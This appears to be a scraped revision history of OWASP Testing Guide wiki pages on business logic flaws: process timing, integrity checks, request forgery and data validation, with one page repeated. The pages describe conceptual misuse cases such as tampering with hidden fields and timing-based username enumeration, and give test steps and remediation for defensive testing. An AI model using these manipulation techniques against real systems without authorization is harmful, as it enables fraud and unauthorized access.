Process timing logic vulnerabilities is unique in that these manual misuse cases should be created considering execution and transaction timing that are application/system specific.

Processing timing may give/leak information on what is being done in the application/system background processes. If an application allows users to guess what the particulate next outcome will be by processing time variations, users will be able to adjust accordingly and change behavior based on the expectation and "game the system".

== Example ==

Example 1

Video gambling/slot machines may take longer to process a transaction just prior to a large payout. This would allow astute gamblers to gamble minimum amounts until they see the long process time which would then prompt them to bet the maximum.

Example 2

Many system log on processes ask for the user name and password. If you look closely you may be able to see that entering an invalid user name and invalid user password takes more time to return an error than entering a valid username and invalid user password. This may allow the attacker to know if they have a valid username and not need to rely on the GUI message.

Example 3

Most Arenas or travel agencies have ticketing applications that allow users to purchase tickets and reserve seats. When the user requests the tickets seats are locked or reserved pending payment. What if an attacker keeps reserving seats but not checking out? Will the seats be released, or will no tickets be sold? Some ticket vendors now only allow users 5 minutes to complete a transaction or the transaction is invalidated.

Example 4

Suppose a precious metals e-commerce site allows users to make purchases with a price quote based on market price at the time they log on. What if an attacker logs on and places an order but does not complete the transaction until later in the day only of the price of the metals goes up? Will the attacker get the initial lower price?

== How to Test ==

• Review the project documentation and use exploratory testing looking for application/system functionality that may be impacted by time. Such as execution time or actions that help users predict a future outcome or allow one to circumvent any part of the business logic or workflow. For example, not completing transactions in an expected time.

• Develop and execute the mis-use cases ensuring that attackers can not gain an advantage based on any timing.

== Related Test Cases ==

4.7.2 Testing for Cookies attributes (OTG-SESS-002)

4.7.8 Test Session Timeout (OTG-SESS-008)

4.11.1 Test time synchronization (OTG-LOG-001)

4.13.4 Test excessive rate (speed) of use limits (OTG-DOS-004)

== References ==

None

== Remediation ==

Develop applications with processing time in mind. If attackers could possibly gain some type of advantage from knowing the different processing times and results add extra steps or processing so that no matter the results they are provided in the same time frame.

Additionally, the application/system must have mechanism in place to not allow attackers to extend transactions over an "acceptable" amount of time. This may be done by cancelling or resetting transactions after a specified amount of time has passed like some ticket vendors are now using.

Test integrity checks (OTG-BUSLOGIC-003)

2014-08-01T21:19:16Z

Jane O'Connor: Added Andrew's changes.

== Summary ==

Many applications are designed to display different fields depending on the user of situation by leaving some inputs hidden. However, in many cases it is possible to submit values hidden field values to the server using a proxy. In these cases the server side controls must be smart enough to perform relational or server side edits to ensure that the proper data is allowed to the server based on user and application specific business logic.

Additionally, the application must not depend on non-editable controls, drop-down menus or hidden fields for business logic processing because these fields remain non-editable only in the context of the browsers. Users may be able to edit their values using proxy editor tools and try to manipulate business logic. If the application exposes values related to business rules like quantity, etc. as non-editable fields it must maintain a copy on the server side and use the same for business logic processing. Finally, aside application/system data, log systems must be secured to prevent read, writing and updating.

Business logic integrity check vulnerabilities is unique in that these misuse cases are application specific and if users are able to make changes one should only be able to write or update/edit specific artifacts at specific times per the business process logic.

The application must be smart enough to check for relational edits and not allow users to submit information directly to the server that is not valid, trusted because it came from a non-editable controls or the user is not authorized to submit through the front end. Additionally, system artifacts such as logs must be “protected” from unauthorized read, writing and removal.

== Example ==

Example 1

Imagine an ASP.NET application GUI application that only allows the admin user to change the password for other users in the system. The admin user will see the username and password fields to enter a username and password while other users will not see either field. However, if a non admin user submits information in the username and password field through a proxy they may be able to “trick” the server into believing that the request has come from an admin user and change password of other users.

Example 2

Most web applications have dropdown lists making it easy for the user to quickly select their state, month of birth, etc. Suppose a Project Management application allowed users to login and depending on their privileges presented them with a drop down list of projects they have access to. What happens if an attacker finds the name of another project that they should not have access to and submits the information via a proxy. Will the application give access to the project? They should not have access even though they skipped an authorization business logic check.

Example 3

Suppose the motor vehicle administration system required an employee initially verify each citizens documentation and information when they issue an identification or driver's license. At this point the business process has created data with a high level of integrity as the integrity of submitted data is checked by the application. Now suppose the application is moved to the Internet so employees can log on for full service or citizens can log on for a reduced self-service application to update certain information. At this point an attacker may be able to use an intercepting proxy to add or update data that they should not have access to and they could destroy the integrity of the data by stating that the citizen was not married but supplying data for a spouse’s name. This type of inserting or updating of unverified data destroys the data integrity and might have been prevented if the business process logic was followed.

Example 4

Many systems include logging for auditing and troubleshooting purposes. But, how good/valid is the information in these logs? Can they be manipulated by attackers either intentionally or accidentially having their integrity destroyed?

== How to Test ==

Generic Testing Method

• Review the project documentation and use exploratory testing looking for parts of the application/system (components i.e. For example, input fields, databases or logs) that move, store or handle data/information.

• For each identified component determine what type of data/information is logically acceptable and what types the application/system should guard against. Also, consider who according to the business logic is allowed to insert, update and delete data/information and in each component.

• Attempt to insert, update or edit delete the data/information values with invalid data/information into each component (i.e. input, database, or log) by users that .should not be allowed per the busines logic workflow.

Specific Testing Method 1

• Using a proxy capture and HTTP traffic looking for hidden fields.

• If a hidden field is found see how these fields compare with the GUI application and start interrogating this value through the proxy by submitting different data values trying to circumvent the business process and manipulate values you were not intended to have access to.

Specific Testing Method 2

• Using a proxy capture and HTTP traffic looking a place to insert information into areas of the application that are non-editable.

• If it is found see how these fields compare with the GUI application and start interrogating this value through the proxy by submitting different data values trying to circumvent the business process and manipulate values you were not intended to have access to.

Specific Testing Method 3

• List components of the application or system that could be edited, for example logs or databases.

• For each component identified, try to read, edit or remove its information. For example log files should be identified and Testers should try to manipulate the data/information being collected.

== Related Test Cases ==

4.8 Data Validation Testing

4.11.1 Test time synchronization (OTG-LOG-001) formerly "Incorrect time"

4.11.2 Test user-viewable log of authentication events (OTG-LOG-002)

== Tools ==

• Various system/application tools such as editors and file manipulation tools.

• ''OWASP Zed Attack Proxy (ZAP)'' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project

ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.

== References ==

Implementing Referential Integrity and Shared Business Logic in a RDB - http://www.agiledata.org/essays/referentialIntegrity.html

On Rules and Integrity Constraints in Database Systems - http://www.comp.nus.edu.sg/~lingtw/papers/IST92.teopk.pdf

Use referential integrity to enforce basic business rules in Oracle - http://www.techrepublic.com/article/use-referential-integrity-to-enforce-basic-business-rules-in-oracle/

Maximizing Business Logic Reuse with Reactive Logic - http://architects.dzone.com/articles/maximizing-business-logic

Tamper Evidence Logging - http://tamperevident.cs.rice.edu/Logging.html

== Remediation ==

The application must be smart enough to check for relational edits and not allow users to submit information directly to the server that is not valid, trusted because it came from a non-editable controls or the user is not authorized to submit through the front end. Additionally, any component that can be edited must have mechanisms in place to prevent unintentional/intentional writing or updating.

Test Ability to forge requests (OTG-BUSLOGIC-002)

2014-08-01T21:17:52Z

Jane O'Connor: Added Andrew's changes.

== Summary ==

Forging requests is a method that attackers use to circumvent the front end GUI application to directly submit information for back end processing. The goal of the attacker is to send HTTP POST/GET requests through an intercepting proxy with data values that is not supported, guarded against or expected by the applications business logic. Some examples of forged requests include exploiting guessable or predictable parameters or expose “hidden” features and functionality such as enabling debugging or presenting special screens or windows that are very useful during development but may leak information or bypass the business logic.

Vulnerabilities related to the ability to forge requests is unique to each application and different from business logic data validation in that it s focus is on breaking the business logic workflow.

Applications should have logic checks in place to prevent the system from accepting forged requests that may allow attackers the opportunity to exploit the business logic, process, or flow of the application. Request forgery is nothing new; the attacker uses an intercepting proxy to send HTTP POST/GET requests to the application. Through request forgeries attackers may be able to circumvent the business logic or process by finding, predicting and manipulating parameters to make the application think a process or task has or has not taken place.

Also, forged requests may allow subvention of programmatic or business logic flow by invoking “hidden” features or functionality such as debugging initially used by developers and testers sometimes referred to as an ”Easter egg”. “An Easter egg is an intentional inside joke, hidden message, or feature in a work such as a computer program, movie, book, or crossword. According to game designer Warren Robinett, the term was coined at Atari by personnel who were alerted to the presence of a secret message which had been hidden by Robinett in his already widely distributed game, Adventure. The name has been said to evoke the idea of a traditional Easter egg hunt.” http://en.wikipedia.org/wiki/Easter_egg_(media)

== Examples ==

Example 1

Suppose an e-commerce theater site allows users to select their ticket, apply a onetime 10% Senior discount on the entire sale, view the subtotal and tender the sale. If an attacker is able to see through a proxy that the application has a hidden field (of 1 or 0) used by the business logic to determine if a discount has been taken or not. The attacker is then able to submit the 1 or “no discount has been taken” value multiple times to take advantage of the same discount multiple times.

Example 2

Suppose an online video game pays out tokens for points scored for finding pirates treasure and pirates and for each level completed. These tokens can later be that can later be exchanged for prizes. Additionally each level's points have a multiplier value equal to the level. If an attacker was able to see through a proxy that the application has a hidden field used during development and testing to quickly get to the highest levels of the game they could quickly get to the highest levels and accumulate unearned points quickly.

Also, if an attacker was able to see through a proxy that the application has a hidden field used during development and testing to enabled a log that indicated where other online players, or hidden treasure were in relation to the attacker, they would then be able to quickly go to these locations and score points.

== How to Test==

Generic Testing Method

• Review the project documentation and use exploratory testing looking for guessable, predictable or hidden functionality of fields.

• Once found try to insert logically valid data into the application/system allowing the user go through the application/system against the normal busineess logic workflow.

Specific Testing Method 1

• Using an intercepting proxy observe the HTTP POST/GET looking for some indication that values are incrementing at a regular interval or are easily guessable.

• If it is found that some value is guessable this value may be changed and one may gain unexpected visibility.

Specific Testing Method 2

• Using an intercepting proxy observe the HTTP POST/GET looking for some indication of hidden features such as debug that can be switched on or activated.

• If any are found try to guess and change these values to get a different application response or behavior.

== Related Test Cases ==

4.7.5 Testing for Cross Site Request Forgery (CSRF) (OTG-SESS-005)

4.7.4 Testing for Exposed Session Variables (OTG-SESS-004)

4.4.4 Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004)

== Tools ==

''OWASP Zed Attack Proxy (ZAP)'' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project

ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.

== References ==

Cross Site Request Forgery - Legitimizing Forged Requests -
http://fragilesecurity.blogspot.com/2012/11/cross-site-request-forgery-legitimazing.html

Debugging features which remain present in the final game -
http://glitchcity.info/wiki/index.php/List_of_video_games_with_debugging_features#Debugging_features_which_remain_present_in_the_final_game

Easter egg - http://en.wikipedia.org/wiki/Easter_egg_(media)

Top 10 Software Easter Eggs - http://lifehacker.com/371083/top-10-software-easter-eggs

== Remediation ==

The application must be smart enough and designed with business logic that will prevent attackers from predicting and manipulating parameters to subvert programmatic or business logic flow, or exploiting hidden/undocumented functionality such as debugging.

Test business logic data validation (OTG-BUSLOGIC-001)

2014-08-01T21:16:16Z

Jane O'Connor: Added Andrew's changes.

==Summary ==

The application must ensure that only logically valid data can be entered at the front end as well as directly to the server side of an application of system. Only verifying data locally may leave applications vulnerable to server injections through proxies or at handoffs with other systems. This is different from simply performing Boundary Value Analysis (BVA) in that it is more difficult and in most cases cannot be simply verified at the entry point, but usually requires checking some other system.

For example: An application may ask for your Social Security Number. In BVA the application should check formats and semantics (is the value 9 digits long, not negative and not all 0's) for the data entered, but there are logic considerations also. SSNs are grouped and categorized. Is this person on a death file? Are they from a certain part of the country?

Vulnerabilities related to business data validation is unique in that they are application specific and different from the vulnerabilities related to forging requests in that they are more concerned about logical data as opposed to simply breaking the business logic workflow.

The front end and the back end of the application should be verifying and validating that the data it has, is using and is passing along is logically valid. Even if the user provides valid data to an application the business logic may make the application behave differently depending on data or circumstances.

== Examples ==

Example 1

Suppose you manage a multi-tiered e-commerce site that allows users to order carpet. The user selects their carpet, enters the size, makes the payment, and the front end application has verified that all entered information is correct and valid for contact information, size, make and color of the carpet. But, the business logic in the background has two paths, if the carpet is in stock it is directly shipped from your warehouse, but if it is out of stock in your warehouse a call is made to a partner’s system and if they have it in-stock they will ship the order from their warehouse and reimbursed by them. What happens if an attacker is able to continue a valid in-stock transaction and send it as out-of-stock to your partner? What happens if an attacker is able to get in the middle and send messages to the partner warehouse ordering carpet without payment?

Example 2

Many credit card systems are now downloading account balances nightly so the customers can check out more quickly for amounts under a certain value. The inverse is also true. If I pay my credit card off in the morning I may not be able to use the available credit in the evening. Another example may be if I use my credit card at multiple locations very quickly it may be possible to exceed my limit if the systems are basing decisions on last night’s data.

== How to Test ==

Generic Test Method

• Review the project documentation and use exploratory testing looking for data entry points or hand off points between systems or software.

• Once found try to insert logically invalid data into the application/system.

Specific Testing Method:

• Perform front-end GUI Functional Valid testing on the application to ensure that the only "valid" values are accepted.

• Using an intercepting proxy observe the HTTP POST/GET looking for places that variables such as cost and quality are passed. Specifically, look for "hand-offs" between application/systems that may be possible injection of tamper points.

• Once variables are found start interrogating the field with logically "invalid" data, such as social security numbers or unique identifiers that do not exist or that do not fit the business logic. This testing verifies that the server functions properly and does not accept logically invalid data them.

== Related Test Cases ==

4.8 Data Validation Testing

4.4.4 Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004)

4.7.1 Testing for Bypassing Session Management Schema (OTG-SESS-001)

Testing for Exposed Session Variables (OTG-SESS-004)

== Tools ==

''OWASP Zed Attack Proxy (ZAP)'' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project

ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.

== References ==

Beginning Microsoft Visual Studio LightSwitch Development - http://books.google.com/books?id=x76L_kaTgdEC&pg=PA280&lpg=PA280&dq=business+logic+example+valid+data+example&source=bl&ots=GOfQ-7f4Hu&sig=4jOejZVligZOrvjBFRAT4-jy8DI&hl=en&sa=X&ei=mydYUt6qEOX54APu7IDgCQ&ved=0CFIQ6AEwBDgK#v=onepage&q=business%20logic%20example%20valid%20data%20example&f=false

== Remediation ==

The application/system must ensure that only "logically valid" data is accepted at all input and hand off points of the application or system and data is not simply trusted once it has entered the system.

Test business logic data validation (OTG-BUSLOGIC-001)

2014-08-01T21:14:28Z

Jane O'Connor: Added Andrew's changes.

==Summary ==

The application must ensure that only logically valid data can be entered at the front end as well as directly to the server side of an application of system. Only verifying data locally may leave applications vulnerable to server injections through proxies or at handoffs with other systems. This is different from simply performing Boundary Value Analysis (BVA) in that it is more difficult and in most cases cannot be simply verified at the entry point, but usually requires checking some other system.

For example: An application may ask for your Social Security Number. In BVA the application should check formats and semantics (is the value 9 digits long, not negative and not all 0's) for the data entered, but there are logic considerations also. SSNs are grouped and categorized. Is this person on a death file? Are they from a certain part of the country?

Vulnerabilities related to business data validation is unique in that they are application specific and different from the vulnerabilities related to forging requests in that they are more concerned about logical data as opposed to simply breaking the business logic workflow.

The front end and the back end of the application should be verifying and validating that the data it has, is using and is passing along is logically valid. Even if the user provides valid data to an application the business logic may make the application behave differently depending on data or circumstances.

== Examples ==

Example 1

Suppose you manage a multi-tiered e-commerce site that allows users to order carpet. The user selects their carpet, enters the size, makes the payment, and the front end application has verified that all entered information is correct and valid for contact information, size, make and color of the carpet. But, the business logic in the background has two paths, if the carpet is in stock it is directly shipped from your warehouse, but if it is out of stock in your warehouse a call is made to a partner’s system and if they have it in-stock they will ship the order from their warehouse and reimbursed by them. What happens if an attacker is able to continue a valid in-stock transaction and send it as out-of-stock to your partner? What happens if an attacker is able to get in the middle and send messages to the partner warehouse ordering carpet without payment?

Example 2

Many credit card systems are now downloading account balances nightly so the customers can check out more quickly for amounts under a certain value. The inverse is also true. If I pay my credit card off in the morning I may not be able to use the available credit in the evening. Another example may be if I use my credit card at multiple locations very quickly it may be possible to exceed my limit if the systems are basing decisions on last night’s data.

== How to Test ==

Generic Test Method

• Review the project documentation and use exploratory testing looking for data entry points or hand off points between systems or software.

• Once found try to insert logically invalid data into the application/system.

Specific Testing Method:

• Perform front-end GUI Functional Valid testing on the application to ensure that the only "valid" values are accepted.

• Using an intercepting proxy observe the HTTP POST/GET looking for places that variables such as cost and quality are passed. Specifically, look for "hand-offs" between application/systems that may be possible injection of tamper points.

• Once variables are found start interrogating the field with logically "invalid" data, such as social security numbers or unique identifiers that do not exist or that do not fit the business logic. This testing verifies that the server functions properly and does not accept logically invalid data them.

== Test Tools ==

''OWASP Zed Attack Proxy (ZAP)'' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project

ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.

== Related Test Cases ==

4.8 Data Validation Testing

4.4.4 Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004)

4.7.1 Testing for Bypassing Session Management Schema (OTG-SESS-001)

4.7.4 Testing for Exposed Session Variables (OTG-SESS-004)

== References ==

Beginning Microsoft Visual Studio LightSwitch Development - http://books.google.com/books?id=x76L_kaTgdEC&pg=PA280&lpg=PA280&dq=business+logic+example+valid+data+example&source=bl&ots=GOfQ-7f4Hu&sig=4jOejZVligZOrvjBFRAT4-jy8DI&hl=en&sa=X&ei=mydYUt6qEOX54APu7IDgCQ&ved=0CFIQ6AEwBDgK#v=onepage&q=business%20logic%20example%20valid%20data%20example&f=false

== Remediation ==

The application/system must ensure that only "logically valid" data is accepted at all input and hand off points of the application or system and data is not simply trusted once it has entered the system.

Testing for business logic

2014-08-01T21:13:13Z

Jane O'Connor: Added Andrew's changes.

{{Template:OWASP Testing Guide v4}}

== Summary ==

Testing for business logic flaws in a multi-functional dynamic web application requires thinking in unconventional methods. If an application's authentication mechanism is developed with the intention of performing steps 1, 2, 3 in that specific order to authenticate a user. What happens if the user goes from step 1 straight to step 3? In this simplistic example, does the application provide access by failing open; deny access, or just error out with a 500 message?

There are many examples that can be made, but the one constant lesson is "think outside of conventional wisdom". This type of vulnerability cannot be detected by a vulnerability scanner and relies upon the skills and creativity of the penetration tester. In addition, this type of vulnerability is usually one of the hardest to detect, and usually application specific but, at the same time, usually one of the most detrimental to the application, if exploited.

The classification of business logic flaws has been under-studied; although exploitation of business flaws frequently happens in real-world systems, and many applied vulnerability researchers investigate them. The greatest focus is in web applications. There is debate within the community about whether these problems represent particularly new concepts, or if they are variations of well-known principles.

Testing of business logic flaws is similar to the test types used by functional testers that focus on logical or finite state testing. These types of tests require that security professionals think a bit differently, develop abused and misuse cases and use many of the testing techniques embraced by functional testers. Automation of business logic abuse cases is not possible and remains a manual art relying on the skills of the tester and their knowledge of the complete business process and its rules.

==Business Limits and Restrictions==

Consider the rules for the business function being provided by the application. Are there any limits or restrictions on people's behavior? Then consider whether the application enforces those rules. It's generally pretty easy to identify the test and analysis cases to verify the application if you're familiar with the business. If you are a third-party tester, then you're going to have to use your common sense and ask the business if different operations should be allowed by the application.

Sometimes, in very complex applications, the tester will not have a full understanding of every aspect of the application initially. In these situations, it is best to have the client walk the tester through the application, so that they may gain a better understanding of the limits and intended functionality of the application, before the actual test begins. Additionally, having a direct line to the developers (if possible) during testing will help out greatly, if any questions arise regarding the application's functionality.

==Description of the Issue==

Automated tools find it hard to understand context, hence it's up to a person to perform these kinds of tests. The following two examples will illustrate how understanding the functionality of the application, the developer's intentions, and some creative "out-of-the-box" thinking can break the application's logic. The first example starts with a simplistic parameter manipulation, whereas the second is a real world example of a multi-step process leading to completely subvert the application.

'''Example 1''':

Suppose an e-commerce site allows users to select items to purchase, view a summary page and then tender the sale. What if an attacker was able to go back to the summary page, maintaining their same valid session and inject a lower cost for an item and complete the transaction, and then check out?

'''Example 2''':

Holding/locking resources and keeping others from purchases these items online may result in attackers purchasing items at a lower price. The countermeasure to this problem is to implement timeouts and mechanisms to ensure that only the correct price can be charged.

'''Example 3''':

What if a user was able to start a transaction linked to their club/loyalty account and then after points have been added to their account cancel out of the transaction? Will the points/credits still be applied to their account?

==Business Logic Test Cases==

Every application has a different business process, application specific logic and can be manipulated in an infinite number of combinations. This section provides some common examples of business logic issues but in no way a complete list of all issues.

'''Business Logic exploits can be broken into the following categories''':

[[Test business logic data validation (OTG-BUSLOGIC-001)|4.12.1 Test business logic data validation (OTG-BUSLOGIC-001)]]

In business logic data validation testing, we verify that the application does not allow users to insert “unvalidated” data into the system/application. This is important because without this safeguard attackers may be able to insert “unvalidated” data/information into the application/system at “handoff points” where the application/system believes that the data/information is “good” and has been valid since the “entry points” performed data validation as part of the business logic workflow.

[[Test Ability to forge requests (OTG-BUSLOGIC-002)|4.12.2 Test Ability to forge requests (OTG-BUSLOGIC-002)]]

In forged and predictive parameter request testing, we verify that the application does not allow users to submit or alter data to any component of the system that they should not have access to, are accessing at that particular time or in that particular manner. This is important because without this safeguard attackers may be able to “fool/trick” the application into letting them into sections of thwe application of system that they should not be allowed in at that particular time, thus circumventing the applications business logic workflow.

[[Test integrity checks (OTG-BUSLOGIC-003)|4.12.3 Test Integrity Checks (OTG-BUSLOGIC-003)]]

In integrity check and tamper evidence testing, we verify that the application does not allow users to destroy the integrity of any part of the system or its data. This is important because without these safe guards attackers may break the business logic workflow and change of compromise the application/system data or cover up actions by altering information including log files.

[[Test for Process Timing (OTG-BUSLOGIC-007)|4.12.4 Test for Process Timing (OTG-BUSLOGIC-004)]]

In process timing testing, we verify that the application does not allow users to manipulate a system or guess its behavior based on input or output timing. This is important because without this safeguard in place attackers may be able to monitor processing time and determine outputs based on timing, or circumvent the application’s business logic by not completing transactions or actions in a timely manner.

[[Test number of times a function can be used limits (OTG-BUSLOGIC-007)|4.12.5 Test Number of Times a Function Can be Used Limits (OTG-BUSLOGIC-005)]]

In function limit testing, we verify that the application does not allow users to exercise portions of the application or its functions more times than required by the business logic workflow. This is important because without this safeguard in place attackers may be able to use a function or portion of the application more times than permissible per the business logic to gain additional benefits.

[[Testing for the Circumvention of Work Flows (OTG-BUSLOGIC-009)|4.12.6 Testing for the Circumvention of Work Flows (OTG-BUSLOGIC-006)]]

In circumventing workflow and bypassing correct sequence testing, we verify that the application does not allow users to perform actions outside of the “approved/required” business process flow. This is important because without this safeguard in place attackers may be able to bypass or circumvent workflows and “checks” allowing them to prematurely enter or skip “required” sections of the application potentially allowing the action/transaction to be completed without successfully completing the entire business process, leaving the system with incomplete backend tracking information.

[[Test defenses against application mis-use (OTG-BUSLOGIC-011)|4.12.7 Test Defenses Against Application Mis-use (OTG-BUSLOGIC-007)]]

In application mis-use testing, we verify that the application does not allow users to manipulate the application in an unintended manner.

[[Test Upload of Unexpected File Types (OTG-BUSLOGIC-015)|4.12.8 Test Upload of Unexpected File Types (OTG-BUSLOGIC-008)]]

In unexpected file upload testing, we verify that the application does not allow users to upload file types that the system is not expecting or wanted per the business logic requirements. This is important because without these safeguards in place attackers may be able to submit unexpected files such as .exe or .php that could be saved to the system and then executed against the application or system.

[[Test Upload of Malicious Files (OTG-BUSLOGIC-016)|4.12.9 Test Upload of Malicious Files (OTG-BUSLOGIC-009)]]

In malicious file upload testing, we verify that the application does not allow users to upload files to the system that are malicious or potentially malicious to the system security. This is important because without these safeguards in place attackers may be able to upload files to the system that may spread viruses, malware or even exploits such as shellcode when executed.

==Tools==

While there are tools for testing and verifying that business processes are functioning correctly in valid situations these tools are incapable of detecting logical vulnerabilities. For example, tools have no means of detecting if a user is able to circumvent the business process flow through editing parameters, predicting resource names or escalating privileges to access restricted resources nor do they have any mechanism to help the human testers to suspect this state of affairs.

The following are some common tool types that can be useful in identifying business logic issues.

'''HP Business Process Testing Software ''' 
*http://www8.hp.com/us/en/software-solutions/software.html?compURI=1174789#.UObjK3ca7aE

'''Intercepting Proxy - To observe the request and response blocks of HTTP traffic.''' 

*Webscarab - https://www.owasp.org/index.php/Category:OWASP_WebScarab_Project

*Burp Proxy - http://portswigger.net/burp/proxy.html

*Paros Proxy - http://www.parosproxy.org/

'''Web Browser Plug-ins - To view and modify HTTP/HTTPS headers, post parameters and observe the DOM of the Browser''' 

*Tamper Data (for Internet Explorer) - https://addons.mozilla.org/en-us/firefox/addon/tamper-data/

*TamperIE (for Internet Explorer) - http://www.bayden.com/tamperie/

*Firebug (for Internet Explorer) - https://addons.mozilla.org/en-us/firefox/addon/firebug/ and http://getfirebug.com/

'''Miscellaneous Test Tools''' 

* Web Developer toolbar - https://chrome.google.com/webstore/detail/bfbameneiokkgbdmiekhjnmfkcnldhhm
The Web Developer extension adds a toolbar button to the browser with various web developer tools. This is the official port of the Web Developer extension for Firefox.

* HTTP Request Maker - https://chrome.google.com/webstore/detail/kajfghlhfkcocafkcjlajldicbikpgnp?hl=en-US
Request Maker is a tool for penetration testing. With it you can easily capture requests made by web pages, tamper with the URL, headers and POST data and, of course, make new requests

* Cookie Editor - https://chrome.google.com/webstore/detail/fngmhnnpilhplaeedifhccceomclgfbg?hl=en-US
Edit This Cookie is a cookie manager. You can add, delete, edit, search, protect and block cookies

* Session Manager - https://chrome.google.com/webstore/detail/bbcnbpafconjjigibnhbfmmgdbbkcjfi
With Session Manager you can quickly save your current browser state and reload it whenever necessary. You can manage multiple sessions, rename or remove them from the session library. Each session remembers the state of the browser at its creation time, i.e. the opened tabs and windows. Once a session is opened, the browser is restored to its state.

* Cookie Swap - https://chrome.google.com/webstore/detail/dffhipnliikkblkhpjapbecpmoilcama?hl=en-US
Swap My Cookies is a session manager, it manages your cookies, letting you login on any website with several different accounts. You can finally login into Gmail, yahoo, hotmail, and just any website you use, with all your accounts; if you want to use another account just swap profile!

* HTTP Response Browser - https://chrome.google.com/webstore/detail/mgekankhbggjkjpcbhacjgflbacnpljm?hl=en-US
Make HTTP requests from your browser and browse the response (HTTP headers and source). Send HTTP method, headers and body using XMLHttpRequest from your browser then view the HTTP status, headers and source. Click links in the headers or body to issue new requests. This plug-in formats XML responses and uses Syntax Highlighter < http://alexgorbatchev.com/ >.

* Firebug lite for Chrome - https://chrome.google.com/webstore/detail/bmagokdooijbeehmkpknfglimnifench
Firebug Lite is not a substitute for Firebug, or Chrome Developer Tools. It is a tool to be used in conjunction with these tools. Firebug Lite provides the rich visual representation we are used to see in Firebug when it comes to HTML elements, DOM elements, and Box Model shading. It provides also some cool features like inspecting HTML elements with your mouse, and live editing CSS properties.

==References==

'''Whitepapers''' 

*Business Logic Vulnerabilities in Web Applications - http://www.google.com/url?sa=t&rct=j&q=BusinessLogicVulnerabilities.pdf&source=web&cd=1&cad=rja&ved=0CDIQFjAA&url=http%3A%2F%2Faccorute.googlecode.com%2Ffiles%2FBusinessLogicVulnerabilities.pdf&ei=2Xj9UJO5LYaB0QHakwE&usg=AFQjCNGlAcjK2uz2U87bTjTHjJ-T0T3THg&bvm=bv.41248874,d.dmg

*The Common Misuse Scoring System (CMSS): Metrics for Software Feature Misuse Vulnerabilities - NISTIR 7864 - http://csrc.nist.gov/publications/nistir/ir7864/nistir-7864.pdf

*Designing a Framework Method for Secure Business Application Logic Integrity in e-Commerce Systems, Faisal Nabi - http://ijns.femto.com.tw/contents/ijns-v12-n1/ijns-2011-v12-n1-p29-41.pdf

*Finite State testing of Graphical User Interfaces, Fevzi Belli - http://www.slideshare.net/Softwarecentral/finitestate-testing-of-graphical-user-interfaces

*Principles and Methods of Testing Finite State Machines - A Survey, David Lee, Mihalis Yannakakis - http://www.cse.ohio-state.edu/~lee/english/pdf/ieee-proceeding-survey.pdf

*Security Issues in Online Games, Jianxin Jeff Yan and Hyun-Jin Choi - http://homepages.cs.ncl.ac.uk/jeff.yan/TEL.pdf

*Securing Virtual Worlds Against Real Attack, Dr. Igor Muttik, McAfee - https://www.info-point-security.com/open_downloads/2008/McAfee_wp_online_gaming_0808.pdf

*Seven Business Logic Flaws That Put Your Website At Risk – Jeremiah Grossman Founder and CTO, WhiteHat Security - https://www.whitehatsec.com/resource/whitepapers/business_logic_flaws.html

*Toward Automated Detection of Logic Vulnerabilities in Web Applications - Viktoria Felmetsger Ludovico Cavedon Christopher Kruegel Giovanni Vigna - https://www.usenix.org/legacy/event/sec10/tech/full_papers/Felmetsger.pdf

*2012 Web Session Intelligence & Security Report: Business Logic Abuse, Dr. Ponemon - http://www.emc.com/collateral/rsa/silvertail/rsa-silver-tail-ponemon-ar.pdf

*2012 Web Session Intelligence & Security Report: Business Logic Abuse (UK) Edition, Dr. Ponemon - http://buzz.silvertailsystems.com/Ponemon_UK.htm

'''OWASP Related''' 

*Business Logic Attacks – Bots and Bats, Eldad Chai - http://www.imperva.com/resources/adc/pdfs/AppSecEU09_BusinessLogicAttacks_EldadChai.pdf

*OWASP Detail Misuse Cases - https://www.owasp.org/index.php/Detail_misuse_cases

*How to Prevent Business Flaws Vulnerabilities in Web Applications, Marco Morana - http://www.slideshare.net/marco_morana/issa-louisville-2010morana

'''Useful Web Sites''' 

*Abuse of Functionality - http://projects.webappsec.org/w/page/13246913/Abuse-of-Functionality

*Business logic - http://en.wikipedia.org/wiki/Business_logic

*Business Logic Flaws and Yahoo Games - http://jeremiahgrossman.blogspot.com/2006/12/business-logic-flaws.html

*CWE-840: Business Logic Errors - http://cwe.mitre.org/data/definitions/840.html

*Defying Logic: Theory, Design, and Implementation of Complex Systems for Testing Application Logic - http://www.slideshare.net/RafalLos/defying-logic-business-logic-testing-with-automation

*Prevent application logic attacks with sound app security practices - http://searchappsecurity.techtarget.com/qna/0,289202,sid92_gci1213424,00.html?bucket=NEWS&topic=302570

*Real-Life Example of a 'Business Logic Defect - http://h30501.www3.hp.com/t5/Following-the-White-Rabbit-A/Real-Life-Example-of-a-Business-Logic-Defect-Screen-Shots/ba-p/22581

*Software Testing Lifecycle - http://softwaretestingfundamentals.com/software-testing-life-cycle/

*Top 10 Business Logic Attack Vectors Attacking and Exploiting Business Application Assets and Flaws – Vulnerability Detection to Fix - http://www.ntobjectives.com/go/business-logic-attack-vectors-white-paper/ and http://www.ntobjectives.com/files/Business_Logic_White_Paper.pdf

'''Books'''

*The Decision Model: A Business Logic Framework Linking Business and Technology, By Barbara Von Halle, Larry Goldberg, Published by CRC Press, ISBN1420082817 (2010)

Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-003)

